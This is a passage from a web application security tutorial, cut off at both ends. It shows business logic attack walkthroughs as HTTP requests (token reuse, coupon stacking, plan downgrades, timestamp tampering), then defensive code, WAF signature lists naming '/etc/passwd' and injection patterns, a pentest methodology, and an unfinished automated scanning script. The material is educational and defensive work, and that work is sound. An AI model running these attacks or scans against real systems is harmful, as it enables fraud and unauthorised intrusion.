// Vulnerable password reset without token usage check // Step 1: Request reset token for victim@example.com POST /reset-request HTTP/1.1 email=victim@example.com // Step 2: Attacker can't access victim's email // But token isn't marked as "used" after first use // Step 3: Social engineering - get victim to use token // "Please verify by clicking: http://target.com/reset?token=abc123" // Step 4: Victim resets password, token still valid // Step 5: Attacker reuses same token POST /reset-confirm HTTP/1.1 token=abc123&new_password=hacked123 // Token should be single-use, but application doesn't check

Privilege Escalation via Business Logic

// Application: Free tier (5 API calls/day), Premium ($9.99, unlimited) // Vulnerability: Upgrade/downgrade logic doesn't revoke access // Step 1: Sign up for premium trial (unlimited access for 7 days) POST /subscribe HTTP/1.1 plan=premium&trial=true // Step 2: Use premium features during trial // Step 3: Downgrade before trial ends POST /subscribe HTTP/1.1 plan=free // Step 4: Application sets plan=free but doesn't revoke premium features // Still have unlimited API access // Alternative: Exploit referral/discount stacking // Use 5 referral codes simultaneously for 250% discount // Application doesn't cap discount at 100%, charges negative amount

Example 19: Coupon Code Stacking

// Application allows one coupon per order // But doesn't validate if coupon already applied // Exploit: Apply same coupon multiple times POST /cart/coupon HTTP/1.1 code=SAVE20 // Response: "20% discount applied" // Repeat request 5 times POST /cart/coupon HTTP/1.1 code=SAVE20 // Application applies discount multiple times // Order total: $100 - 20% - 20% - 20% - 20% - 20% = $32.77 // Or use different coupons that should be mutually exclusive

Example 20: Subscription Downgrade Exploit

// Premium: $50/month, 100GB storage // Basic: $5/month, 5GB storage // Vulnerability: Can downgrade with data over limit // Step 1: Subscribe to Premium, upload 100GB POST /subscribe HTTP/1.1 plan=premium // Step 2: Downgrade to Basic POST /subscribe HTTP/1.1 plan=basic // Application downgrades billing but doesn't check storage // Result: Pay $5/month for 100GB (should be $50/month) // Or: Application tries to delete files but has race condition

Time-Based Logic Flaws

// Application offers "first purchase" discount // Vulnerability: Timestamp manipulation // Step 1: Register account, get "first purchase" flag // Step 2: Make purchase with discount POST /purchase HTTP/1.1 use_first_purchase_discount=true // Step 3: Intercept response, change timestamp // Change: "first_purchase_used": "2024-01-04T10:00:00Z" // To: "first_purchase_used": "2099-01-04T10:00:00Z" // Step 4: Make another purchase // Application checks if first_purchase_used < now() - fails // Discount available again for 75 more years!

Testing Methodology for Business Logic Flaws

1. Understand the workflow: Map out every step of critical business processes (purchases, refunds, upgrades, transfers). Identify what should be validated at each step.

2. Question assumptions: What does the application assume? That prices are positive? That users complete steps in order? That currency doesn't change? Test these assumptions.

3. Manipulate parameters: Change quantities to negative numbers, modify prices after validation, tamper with workflow identifiers, skip steps, replay old requests.

4. Test edge cases: Zero values, maximum integers, expired tokens, duplicate submissions, concurrent operations, time-based conditions.

5. Chain vulnerabilities: Combine IDOR with workflow bypass, race conditions with parameter tampering, CSRF with business logic flaws.

⚠️ Critical Warning: Legal and Ethical Boundaries

These techniques demonstrate sophisticated attacks that can cause severe damage:

  • XXE attacks can read arbitrary files, leading to data breaches and system compromise
  • Deserialization exploits often result in Remote Code Execution and full server takeover
  • SSTI vulnerabilities provide direct access to server internals and sensitive data
  • Race conditions can cause financial fraud, inventory manipulation, and accounting errors
  • Business logic flaws directly steal money, services, or resources

Only test these techniques: With explicit written authorization on systems you own or have permission to test. In dedicated security labs and CTF environments. On your own test infrastructure. Unauthorized testing is illegal and will result in prosecution. Financial fraud via business logic exploitation is a serious crime with severe penalties.

For Bug Bounty Hunters: Read program scope carefully - some techniques (deserialization, XXE) may be out of scope. Stop testing immediately upon discovering RCE. Report findings without exploiting further. Never test on production systems without explicit permission. Financial/business logic flaws require special permission to test in most programs.

Key Takeaways

For Attackers: XXE is alive and well - test all XML input (SOAP, SVG, DOCX, RSS). Deserialization = instant RCE in most cases - prioritize finding these. SSTI requires template engine fingerprinting - learn to identify engines. Race conditions need precise timing - use Burp Turbo Intruder. Business logic flaws can't be automated - understand the application. File upload bypasses require creativity - polyglots, metadata, path traversal.

For Defenders: Disable XML external entity processing completely (LIBXML_NOENT flag off). Never deserialize untrusted data - use JSON instead. Separate user input from template code - never concatenate. Validate file uploads at multiple layers: extension, content, metadata. Use atomic database operations for race condition prevention. Implement workflow validation at every step - don't trust client state.

For Everyone: Advanced vulnerabilities often chain together - XXE leads to SSRF, SSRF leads to cloud compromise. Template injection is as dangerous as SQL injection - treat with same severity. Business logic is the hardest to defend - requires threat modeling and abuse case testing. Race conditions are rare but devastating - test concurrent operations. File uploads are never "just images" - validate everything. Parser bugs (XXE, deserialization) should be treated as critical by default.

Defense Strategies

Understanding exploitation is only half the battle. True security mastery means knowing how to defend against these attacks, secure code reviews, implement proper input validation, and build defense-in-depth architectures that make exploitation nearly impossible - even when individual components fail.

Secure Coding Practices

The foundation of web application security lies in writing secure code from the very beginning. Secure coding practices prevent vulnerabilities from entering your codebase in the first place.

Principle of Least Privilege

# Database Connection with Minimal Permissions
# Bad - using root/admin account
db = mysql.connector.connect(
    host="localhost",
    user="root",
    password="root",
    database="production"
)

# Good - dedicated account with minimal permissions
db = mysql.connector.connect(
    host="localhost",
    user="webapp_readonly",  # Only SELECT permissions
    password=os.environ['DB_PASSWORD'],
    database="production"
)

# Even better - separate users for different operations
def get_db_connection(operation_type):
    credentials = {
        'read': ('webapp_read', 'READ_PASS'),
        'write': ('webapp_write', 'WRITE_PASS'),
        'admin': ('webapp_admin', 'ADMIN_PASS')
    }
    
    user, pass_env = credentials.get(operation_type, credentials['read'])
    
    return mysql.connector.connect(
        host=os.environ['DB_HOST'],
        user=user,
        password=os.environ[pass_env],
        database=os.environ['DB_NAME']
    )

Secure Password Storage

# Never store passwords in plain text or use weak hashing
# Bad examples
password = "user_password"
db.execute(f"INSERT INTO users (password) VALUES ('{password}')")  # Plain text

import hashlib
hashed = hashlib.md5(password.encode()).hexdigest()  # Weak algorithm
hashed = hashlib.sha1(password.encode()).hexdigest()  # Still weak

# Good - use bcrypt or Argon2
import bcrypt

def hash_password(password):
    """Securely hash a password using bcrypt"""
    salt = bcrypt.gensalt(rounds=12)  # Cost factor
    return bcrypt.hashpw(password.encode('utf-8'), salt)

def verify_password(password, hashed):
    """Verify a password against its hash"""
    return bcrypt.checkpw(password.encode('utf-8'), hashed)

# Even better - use Argon2 (winner of PHC)
from argon2 import PasswordHasher

ph = PasswordHasher(
    time_cost=3,        # Number of iterations
    memory_cost=65536,  # Memory usage in KiB
    parallelism=4,      # Number of threads
    hash_len=32,        # Length of hash
    salt_len=16         # Length of salt
)

def hash_password_argon2(password):
    return ph.hash(password)

def verify_password_argon2(password, hashed):
    try:
        ph.verify(hashed, password)
        return True
    except:
        return False

Secure Session Management

import secrets
import hashlib
from datetime import datetime, timedelta

class SecureSessionManager:
    def __init__(self):
        self.sessions = {}
        self.session_timeout = timedelta(hours=2)
        
    def create_session(self, user_id):
        """Create a cryptographically secure session"""
        # Generate secure random token
        session_token = secrets.token_urlsafe(32)
        
        # Store session with metadata
        self.sessions[session_token] = {
            'user_id': user_id,
            'created': datetime.now(),
            'last_activity': datetime.now(),
            'ip_address': self.get_client_ip(),
            'user_agent': self.get_user_agent()
        }
        
        return session_token
    
    def validate_session(self, token):
        """Validate session token and check for anomalies"""
        if token not in self.sessions:
            return False
        
        session = self.sessions[token]
        
        # Check timeout
        if datetime.now() - session['last_activity'] > self.session_timeout:
            del self.sessions[token]
            return False
        
        # Check for session hijacking indicators
        if session['ip_address'] != self.get_client_ip():
            # Log suspicious activity
            self.log_security_event('session_hijack_attempt', token)
            del self.sessions[token]
            return False
        
        # Update last activity
        session['last_activity'] = datetime.now()
        return True
    
    def destroy_session(self, token):
        """Securely destroy a session"""
        if token in self.sessions:
            del self.sessions[token]

# Flask implementation
from flask import Flask, session, request
app = Flask(__name__)
app.secret_key = secrets.token_bytes(32)  # Cryptographically secure key

# Configure secure session cookies
app.config.update(
    SESSION_COOKIE_SECURE=True,      # HTTPS only
    SESSION_COOKIE_HTTPONLY=True,    # Not accessible via JavaScript
    SESSION_COOKIE_SAMESITE='Strict', # CSRF protection
    PERMANENT_SESSION_LIFETIME=7200   # 2 hours
)

Input Validation

Proper input validation is your first line of defense against injection attacks. Never trust user input - validate, sanitize, and verify everything.

Whitelist vs Blacklist Validation

# Blacklist approach - trying to block bad input (WEAK)
def validate_username_blacklist(username):
    """Don't use this approach!"""
    forbidden = ['<', '>', '&', '"', "'", 'script', 'SELECT', 'DROP']
    for bad in forbidden:
        if bad.lower() in username.lower():
            return False
    return True

# Problem: Easy to bypass
# Input: "<scr<script>ipt>" bypasses "script" filter
# Input: "SEL ECT" bypasses "SELECT" filter

# Whitelist approach - only allow good input (STRONG)
import re

def validate_username_whitelist(username):
    """Only allow alphanumeric and underscore"""
    if not username or len(username) < 3 or len(username) > 20:
        return False
    
    # Only allow a-z, A-Z, 0-9, underscore
    if not re.match(r'^[a-zA-Z0-9_]+$', username):
        return False
    
    return True

# Email validation
def validate_email(email):
    """Validate email format"""
    # Simple but effective pattern
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return re.match(pattern, email) is not None

# URL validation
from urllib.parse import urlparse

def validate_url(url, allowed_schemes=['http', 'https']):
    """Validate URL and check scheme"""
    try:
        parsed = urlparse(url)
        return (
            parsed.scheme in allowed_schemes and
            parsed.netloc != '' and
            not any(c in url for c in ['<', '>', '"', "'"])
        )
    except:
        return False

Data Type and Range Validation

from typing import Union, List
from datetime import datetime

class InputValidator:
    @staticmethod
    def validate_integer(value, min_val=None, max_val=None):
        """Validate integer with optional range"""
        try:
            val = int(value)
            if min_val is not None and val < min_val:
                return False, f"Value must be >= {min_val}"
            if max_val is not None and val > max_val:
                return False, f"Value must be <= {max_val}"
            return True, val
        except (ValueError, TypeError):
            return False, "Invalid integer"
    
    @staticmethod
    def validate_string(value, min_len=None, max_len=None, pattern=None):
        """Validate string with length and pattern checks"""
        if not isinstance(value, str):
            return False, "Must be a string"
        
        if min_len and len(value) < min_len:
            return False, f"Minimum length is {min_len}"
        
        if max_len and len(value) > max_len:
            return False, f"Maximum length is {max_len}"
        
        if pattern and not re.match(pattern, value):
            return False, "Invalid format"
        
        return True, value
    
    @staticmethod
    def validate_date(value, min_date=None, max_date=None):
        """Validate date with optional range"""
        try:
            if isinstance(value, str):
                date_val = datetime.fromisoformat(value)
            elif isinstance(value, datetime):
                date_val = value
            else:
                return False, "Invalid date format"
            
            if min_date and date_val < min_date:
                return False, f"Date must be after {min_date}"
            
            if max_date and date_val > max_date:
                return False, f"Date must be before {max_date}"
            
            return True, date_val
        except:
            return False, "Invalid date"
    
    @staticmethod
    def validate_enum(value, allowed_values: List):
        """Validate value is in allowed list"""
        if value not in allowed_values:
            return False, f"Must be one of: {', '.join(map(str, allowed_values))}"
        return True, value

# Usage example
def process_user_input(data):
    validators = {
        'age': lambda v: InputValidator.validate_integer(v, min_val=0, max_val=150),
        'username': lambda v: InputValidator.validate_string(v, min_len=3, max_len=20, pattern=r'^[a-zA-Z0-9_]+$'),
        'email': lambda v: InputValidator.validate_string(v, pattern=r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
        'role': lambda v: InputValidator.validate_enum(v, ['user', 'admin', 'moderator'])
    }
    
    validated_data = {}
    errors = {}
    
    for field, validator in validators.items():
        if field in data:
            valid, result = validator(data[field])
            if valid:
                validated_data[field] = result
            else:
                errors[field] = result
    
    return validated_data, errors

File Upload Validation

import os
import magic  # python-magic library
from PIL import Image

class FileUploadValidator:
    ALLOWED_EXTENSIONS = {
        'image': {'jpg', 'jpeg', 'png', 'gif', 'webp'},
        'document': {'pdf', 'doc', 'docx', 'txt'},
        'archive': {'zip', 'tar', 'gz'}
    }
    
    MAX_FILE_SIZE = 10 * 1024 * 1024  # 10 MB
    
    @staticmethod
    def validate_file_upload(file, allowed_category='image'):
        """Comprehensive file upload validation"""
        errors = []
        
        # Check if file exists
        if not file or file.filename == '':
            return False, ["No file provided"]
        
        # Check file size
        file.seek(0, os.SEEK_END)
        size = file.tell()
        file.seek(0)
        
        if size > FileUploadValidator.MAX_FILE_SIZE:
            errors.append(f"File too large (max {FileUploadValidator.MAX_FILE_SIZE / 1024 / 1024}MB)")
        
        # Check extension
        filename = file.filename.lower()
        ext = filename.rsplit('.', 1)[1] if '.' in filename else ''
        
        allowed_exts = FileUploadValidator.ALLOWED_EXTENSIONS.get(allowed_category, set())
        if ext not in allowed_exts:
            errors.append(f"Invalid extension. Allowed: {', '.join(allowed_exts)}")
        
        # Verify MIME type (magic bytes)
        mime = magic.from_buffer(file.read(1024), mime=True)
        file.seek(0)
        
        valid_mimes = {
            'image': ['image/jpeg', 'image/png', 'image/gif', 'image/webp'],
            'document': ['application/pdf', 'application/msword', 'text/plain'],
            'archive': ['application/zip', 'application/x-tar', 'application/gzip']
        }
        
        if mime not in valid_mimes.get(allowed_category, []):
            errors.append(f"Invalid file type: {mime}")
        
        # Additional validation for images
        if allowed_category == 'image':
            try:
                img = Image.open(file)
                img.verify()
                file.seek(0)
                
                # Check dimensions
                if img.size[0] > 5000 or img.size[1] > 5000:
                    errors.append("Image dimensions too large")
                
            except Exception as e:
                errors.append("Invalid or corrupted image")
        
        return len(errors) == 0, errors
    
    @staticmethod
    def secure_filename(filename):
        """Generate a secure filename"""
        import uuid
        ext = filename.rsplit('.', 1)[1] if '.' in filename else 'bin'
        return f"{uuid.uuid4().hex}.{ext}"

Output Encoding

Proper output encoding prevents XSS attacks by ensuring user-supplied data is treated as data, not code, when rendered in different contexts.

Context-Aware Encoding

import html
import json
from urllib.parse import quote

class OutputEncoder:
    @staticmethod
    def encode_html(data):
        """Encode data for HTML context"""
        if data is None:
            return ''
        return html.escape(str(data), quote=True)
    
    @staticmethod
    def encode_html_attribute(data):
        """Encode data for HTML attribute context"""
        if data is None:
            return ''
        # More aggressive encoding for attributes
        encoded = html.escape(str(data), quote=True)
        # Additional encoding for special characters
        encoded = encoded.replace('\n', '
').replace('\r', '
')
        return encoded
    
    @staticmethod
    def encode_javascript(data):
        """Encode data for JavaScript context"""
        if data is None:
            return 'null'
        # Use JSON encoding for JavaScript
        return json.dumps(data)
    
    @staticmethod
    def encode_url(data):
        """Encode data for URL context"""
        if data is None:
            return ''
        return quote(str(data), safe='')
    
    @staticmethod
    def encode_css(data):
        """Encode data for CSS context"""
        if data is None:
            return ''
        # CSS encoding
        encoded = ''
        for char in str(data):
            if char.isalnum():
                encoded += char
            else:
                encoded += f"\\{ord(char):x} "
        return encoded

# Template usage examples
def safe_template_rendering(user_input):
    """Examples of context-aware output encoding"""
    
    encoder = OutputEncoder()
    
    # HTML context
    html_safe = encoder.encode_html(user_input)
    template = f"<div>{html_safe}</div>"
    
    # HTML attribute context
    attr_safe = encoder.encode_html_attribute(user_input)
    template = f'<div title="{attr_safe}">Content</div>'
    
    # JavaScript context
    js_safe = encoder.encode_javascript(user_input)
    template = f"<script>var data = {js_safe};</script>"
    
    # URL context
    url_safe = encoder.encode_url(user_input)
    template = f'<a href="/search?q={url_safe}">Search</a>'
    
    # CSS context
    css_safe = encoder.encode_css(user_input)
    template = f"<style>.class::before {{ content: '{css_safe}'; }}</style>"
    
    return template

Template Engine Security

from jinja2 import Environment, select_autoescape, FileSystemLoader

# Secure Jinja2 configuration
env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=select_autoescape(['html', 'xml']),
    trim_blocks=True,
    lstrip_blocks=True
)

# Custom filters for additional security
@env.filter('safe_json')
def safe_json_filter(value):
    """Safely serialize to JSON"""
    return json.dumps(value)

@env.filter('safe_url')
def safe_url_filter(value):
    """Safely encode for URLs"""
    return quote(str(value), safe='')

# Template with safe rendering
template = env.from_string("""
<!DOCTYPE html>
<html>
<head>
    <title>{{ title | e }}</title>
</head>
<body>
    <h1>{{ header | e }}</h1>
    <div>{{ content | e }}</div>
    
    <!-- Safe JSON injection -->
    <script>
        var userData = {{ user_data | safe_json | safe }};
    </script>
    
    <!-- Safe URL parameter -->
    <a href="/profile?id={{ user_id | safe_url }}">Profile</a>
</body>
</html>
""")

# Usage
output = template.render(
    title="User Dashboard",
    header="Welcome!",
    content=user_input,  # Automatically escaped
    user_data={'name': 'John', 'role': 'admin'},
    user_id=123
)

Content Security Policy (CSP)

# Flask implementation of CSP headers
from flask import Flask, make_response

app = Flask(__name__)

def add_security_headers(response):
    """Add comprehensive security headers"""
    
    # Content Security Policy
    csp = {
        'default-src': "'self'",
        'script-src': "'self' 'unsafe-inline' https://trusted-cdn.com",
        'style-src': "'self' 'unsafe-inline' https://fonts.googleapis.com",
        'img-src': "'self' data: https:",
        'font-src': "'self' https://fonts.gstatic.com",
        'connect-src': "'self' https://api.example.com",
        'frame-ancestors': "'none'",
        'base-uri': "'self'",
        'form-action': "'self'"
    }
    
    csp_string = '; '.join([f"{key} {value}" for key, value in csp.items()])
    response.headers['Content-Security-Policy'] = csp_string
    
    # Additional security headers
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    
    return response

@app.after_request
def apply_security_headers(response):
    return add_security_headers(response)

Web Application Firewall (WAF) Implementation

A WAF acts as a shield between your web application and the internet, filtering and monitoring HTTP traffic to block malicious requests.

ModSecurity Core Rule Set

# ModSecurity configuration for Apache/Nginx
# /etc/modsecurity/modsecurity.conf

SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On

# Enable Core Rule Set (CRS)
Include /usr/share/modsecurity-crs/crs-setup.conf
Include /usr/share/modsecurity-crs/rules/*.conf

# Custom rules for common attacks
SecRule REQUEST_URI "@rx (union.*select|insert.*into|delete.*from)" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"

SecRule REQUEST_URI|ARGS "@rx (<script|javascript:|onerror=|onload=)" \
    "id:1002,phase:2,deny,status:403,msg:'XSS Attempt'"

SecRule REQUEST_HEADERS:User-Agent "@rx (sqlmap|nikto|nmap|masscan)" \
    "id:1003,phase:1,deny,status:403,msg:'Scanning Tool Detected'"

# Rate limiting
SecAction "id:1004,phase:1,nolog,pass,initcol:ip=%{REMOTE_ADDR}"
SecRule IP:REQUEST_COUNT "@gt 100" \
    "id:1005,phase:2,deny,status:429,msg:'Rate Limit Exceeded'"

Python WAF Middleware

import re
from datetime import datetime, timedelta
from collections import defaultdict

class SimpleWAF:
    def __init__(self, app):
        self.app = app
        self.request_counts = defaultdict(list)
        self.blocked_ips = {}
        
        # Attack signatures
        self.sql_patterns = [
            r"union.*select",
            r"insert.*into",
            r"delete.*from",
            r"drop.*table",
            r"' or '1'='1",
            r"'; exec"
        ]
        
        self.xss_patterns = [
            r"<script",
            r"javascript:",
            r"onerror\s*=",
            r"onload\s*=",
            r"<iframe",
            r"eval\("
        ]
        
        self.traversal_patterns = [
            r"\.\./",
            r"\.\.\\",
            r"/etc/passwd",
            r"c:\\windows"
        ]
    
    def __call__(self, environ, start_response):
        request_path = environ.get('PATH_INFO', '')
        query_string = environ.get('QUERY_STRING', '')
        remote_addr = environ.get('REMOTE_ADDR', '')
        user_agent = environ.get('HTTP_USER_AGENT', '')
        
        # Check if IP is blocked
        if self.is_ip_blocked(remote_addr):
            start_response('403 Forbidden', [('Content-Type', 'text/plain')])
            return [b'IP address blocked due to suspicious activity']
        
        # Rate limiting
        if not self.check_rate_limit(remote_addr):
            start_response('429 Too Many Requests', [('Content-Type', 'text/plain')])
            return [b'Rate limit exceeded']
        
        # Check for attack patterns
        combined_input = f"{request_path} {query_string} {user_agent}".lower()
        
        if self.detect_sql_injection(combined_input):
            self.block_ip(remote_addr, 'SQL Injection Attempt')
            start_response('403 Forbidden', [('Content-Type', 'text/plain')])
            return [b'Request blocked: SQL injection detected']
        
        if self.detect_xss(combined_input):
            self.block_ip(remote_addr, 'XSS Attempt')
            start_response('403 Forbidden', [('Content-Type', 'text/plain')])
            return [b'Request blocked: XSS detected']
        
        if self.detect_path_traversal(combined_input):
            self.block_ip(remote_addr, 'Path Traversal Attempt')
            start_response('403 Forbidden', [('Content-Type', 'text/plain')])
            return [b'Request blocked: Path traversal detected']
        
        # Request passed all checks
        return self.app(environ, start_response)
    
    def detect_sql_injection(self, input_str):
        return any(re.search(pattern, input_str, re.IGNORECASE) 
                   for pattern in self.sql_patterns)
    
    def detect_xss(self, input_str):
        return any(re.search(pattern, input_str, re.IGNORECASE) 
                   for pattern in self.xss_patterns)
    
    def detect_path_traversal(self, input_str):
        return any(re.search(pattern, input_str, re.IGNORECASE) 
                   for pattern in self.traversal_patterns)
    
    def check_rate_limit(self, ip, max_requests=100, window=60):
        """Check if IP exceeds rate limit"""
        now = datetime.now()
        cutoff = now - timedelta(seconds=window)
        
        # Remove old entries
        self.request_counts[ip] = [
            timestamp for timestamp in self.request_counts[ip]
            if timestamp > cutoff
        ]
        
        # Add current request
        self.request_counts[ip].append(now)
        
        return len(self.request_counts[ip]) <= max_requests
    
    def block_ip(self, ip, reason):
        """Block an IP address"""
        self.blocked_ips[ip] = {
            'reason': reason,
            'blocked_at': datetime.now(),
            'expires': datetime.now() + timedelta(hours=24)
        }
        print(f"[WAF] Blocked {ip}: {reason}")
    
    def is_ip_blocked(self, ip):
        """Check if IP is currently blocked"""
        if ip in self.blocked_ips:
            if datetime.now() < self.blocked_ips[ip]['expires']:
                return True
            else:
                del self.blocked_ips[ip]
        return False

# Flask usage
from flask import Flask
app = Flask(__name__)
app.wsgi_app = SimpleWAF(app.wsgi_app)

Secure Software Development Lifecycle (SDLC)

Integrating security throughout the development lifecycle ensures vulnerabilities are caught early when they're cheapest to fix.

Security Requirements Phase

# Security Requirements Checklist
security_requirements = {
    'authentication': [
        'Multi-factor authentication for admin accounts',
        'Strong password policy (min 12 chars, complexity)',
        'Account lockout after 5 failed attempts',
        'Secure password reset mechanism',
        'Session timeout after 30 minutes of inactivity'
    ],
    
    'authorization': [
        'Role-based access control (RBAC)',
        'Principle of least privilege',
        'Regular access reviews',
        'Segregation of duties for critical operations'
    ],
    
    'data_protection': [
        'Encryption at rest (AES-256)',
        'Encryption in transit (TLS 1.3)',
        'Secure key management',
        'Data classification and handling',
        'PII data masking in logs'
    ],
    
    'input_validation': [
        'Whitelist validation for all inputs',
        'Parameterized queries for database',
        'File upload restrictions and validation',
        'Maximum length limits on all fields'
    ],
    
    'logging_monitoring': [
        'Centralized logging system',
        'Log all authentication attempts',
        'Log all privilege escalations',
        'Real-time alerting for suspicious activity',
        'Log retention for 90 days minimum'
    ],
    
    'compliance': [
        'GDPR compliance for EU users',
        'PCI-DSS for payment processing',
        'SOC 2 Type II certification',
        'Regular penetration testing',
        'Vulnerability disclosure program'
    ]
}

Secure Design Patterns

# Defense in Depth Architecture
class SecurityLayers:
    """Multiple layers of security controls"""
    
    def process_request(self, request):
        # Layer 1: Network firewall (external)
        # Layer 2: WAF (ModSecurity)
        
        # Layer 3: Rate limiting
        if not self.rate_limiter.check(request.ip):
            raise RateLimitExceeded()
        
        # Layer 4: Authentication
        if not self.authenticate(request):
            raise Unauthorized()
        
        # Layer 5: Authorization
        if not self.authorize(request.user, request.resource):
            raise Forbidden()
        
        # Layer 6: Input validation
        validated_data = self.validate_inputs(request.data)
        
        # Layer 7: Business logic
        result = self.execute_business_logic(validated_data)
        
        # Layer 8: Output encoding
        safe_output = self.encode_output(result)
        
        # Layer 9: Security headers
        response = self.add_security_headers(safe_output)
        
        # Layer 10: Audit logging
        self.audit_log(request, response)
        
        return response

# Zero Trust Architecture
class ZeroTrustAccess:
    """Never trust, always verify"""
    
    def access_resource(self, user, resource):
        # Verify identity
        if not self.verify_identity(user):
            return False
        
        # Verify device
        if not self.verify_device(user.device):
            return False
        
        # Verify location
        if not self.verify_location(user.location):
            return False
        
        # Check real-time risk score
        risk_score = self.calculate_risk_score(user)
        if risk_score > self.risk_threshold:
            return False
        
        # Verify specific resource permission
        if not self.has_permission(user, resource):
            return False
        
        # Grant least privilege access
        return self.grant_minimal_access(user, resource)

Security Testing Integration

# Automated Security Testing Pipeline
# .github/workflows/security.yml

name: Security Testing
on: [push, pull_request]

jobs:
  static-analysis:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      
      # SAST - Static Application Security Testing
      - name: Run Bandit (Python)
        run: |
          pip install bandit
          bandit -r . -f json -o bandit-report.json
      
      - name: Run Semgrep
        run: |
          pip install semgrep
          semgrep --config=auto --json --output=semgrep-report.json
      
      - name: SonarQube Scan
        uses: sonarsource/sonarqube-scan-action@master
        env:
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
  
  dependency-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      
      # SCA - Software Composition Analysis
      - name: OWASP Dependency Check
        run: |
          dependency-check --project "MyApp" --scan . --format JSON
      
      - name: Snyk Security Scan
        run: |
          npm install -g snyk
          snyk test --json > snyk-report.json
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
  
  dast:
    runs-on: ubuntu-latest
    steps:
      - name: Start Application
        run: docker-compose up -d
      
      # DAST - Dynamic Application Security Testing
      - name: OWASP ZAP Scan
        run: |
          docker run -t owasp/zap2docker-stable zap-baseline.py \
            -t http://app:8080 -J zap-report.json
      
      - name: Nuclei Scan
        run: |
          nuclei -u http://app:8080 -json -o nuclei-report.json
  
  secrets-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      
      - name: TruffleHog Secrets Scan
        run: |
          docker run -t trufflesecurity/trufflehog:latest \
            github --repo https://github.com/org/repo --json
      
      - name: GitLeaks Scan
        run: |
          docker run -v $(pwd):/path zricethezav/gitleaks:latest \
            detect --source="/path" --report-format json

Penetration Testing

Regular penetration testing validates your security controls and identifies vulnerabilities before attackers do.

Penetration Testing Methodology

"""
Penetration Testing Phases
"""

# Phase 1: Reconnaissance
reconnaissance = {
    'passive': [
        'OSINT gathering',
        'Search engine reconnaissance',
        'Social media profiling',
        'DNS enumeration (whois, dig)',
        'SSL certificate analysis',
        'Archive.org historical data'
    ],
    
    'active': [
        'Port scanning (nmap)',
        'Service enumeration',
        'Web technology fingerprinting',
        'Directory brute forcing',
        'Subdomain enumeration',
        'Virtual host discovery'
    ]
}

# Phase 2: Scanning & Enumeration
scanning = {
    'network': [
        'Full TCP/UDP port scan',
        'OS fingerprinting',
        'Service version detection',
        'Firewall/IDS detection'
    ],
    
    'web': [
        'Web vulnerability scanning',
        'SSL/TLS configuration testing',
        'HTTP method testing',
        'Cookie analysis',
        'Session management testing'
    ],
    
    'application': [
        'Input validation testing',
        'Authentication testing',
        'Authorization testing',
        'Business logic testing',
        'API endpoint discovery'
    ]
}

# Phase 3: Vulnerability Assessment
vulnerability_assessment = {
    'critical': [
        'SQL injection',
        'Remote code execution',
        'Authentication bypass',
        'Default credentials',
        'Unrestricted file upload'
    ],
    
    'high': [
        'XSS (stored)',
        'XXE',
        'Insecure deserialization',
        'Server-side request forgery',
        'Path traversal'
    ],
    
    'medium': [
        'XSS (reflected)',
        'CSRF',
        'Information disclosure',
        'Security misconfiguration',
        'Weak cryptography'
    ],
    
    'low': [
        'Missing security headers',
        'Verbose error messages',
        'Outdated software versions',
        'Cookie security issues'
    ]
}

# Phase 4: Exploitation
exploitation_approach = """
1. Verify vulnerability exists
2. Develop proof-of-concept exploit
3. Test exploit in safe manner
4. Document exploitation steps
5. Assess potential impact
6. Avoid causing damage or disruption
"""

# Phase 5: Post-Exploitation
post_exploitation = {
    'privilege_escalation': [
        'Vertical privilege escalation',
        'Horizontal privilege escalation',
        'Kernel exploits',
        'Sudo misconfigurations'
    ],
    
    'lateral_movement': [
        'Network pivoting',
        'Pass-the-hash attacks',
        'Token impersonation',
        'SSH key theft'
    ],
    
    'data_exfiltration': [
        'Sensitive data identification',
        'Database extraction',
        'Configuration file theft',
        'Source code theft'
    ],
    
    'persistence': [
        'Backdoor installation',
        'Web shell deployment',
        'Scheduled task creation',
        'Registry modification'
    ]
}

# Phase 6: Reporting
report_structure = {
    'executive_summary': [
        'Overall security posture',
        'Critical findings',
        'Business impact',
        'Recommendations'
    ],
    
    'technical_details': [
        'Vulnerability descriptions',
        'Proof-of-concept code',
        'Step-by-step reproduction',
        'Screenshots/evidence',
        'Affected systems'
    ],
    
    'remediation': [
        'Specific fix recommendations',
        'Priority/timeline',
        'Code patches',
        'Configuration changes',
        'Verification steps'
    ]
}

Automated Penetration Testing Tools

#!/bin/bash
# Automated Web Application Penetration Testing Script

TARGET="https://target.com"
OUTPUT_DIR="pentest_results"

mkdir -p $OUTPUT_DIR

echo "[*] Starting automated penetration test for $TARGET"

# Reconnaissance
echo "[*] Phase 1: Reconnaissance"
nmap -sV -sC -oN $OUTPUT_DIR/nmap.txt $TARGET
whatweb $TARGET > $OUTPUT_DIR/whatweb.txt
wafw00f $TARGET > $OUTPUT_DIR/waf.txt

# Subdomain enumeration
echo "[*] Subdomain enumeration"
subfinder -d $TARGET -o $OUTPUT_DIR/subdomains.txt
assetfinder --subs-only $TARGET >> $OUTPUT_DIR/subdomains.txt

# Directory brute forcing
echo "[*] Directory enumeration"
ffuf -w /usr/share/wordlists/dirb/common.txt \
     -u $TARGET/FUZZ \
     -o $OUTPUT_DIR/directories.json

# Vulnerability scanning
echo "[*] Phase 2: Vulnerability Scanning"

# Nikto web server scan
nikto -h $TARGET -output $OUTPUT_DIR/nikto.txt

# SQL injection testing
sqlmap -u "$TARGET/page?id=1" \
       --batch --random-agent \
       --output-dir=$OUTPUT_DIR/sqlmap

# XSS scanning
dalfox url $TARGET \
       --output $OUTPUT_DIR/xss.txt

# SSRF testing
echo "[*] Testing for SSRF"
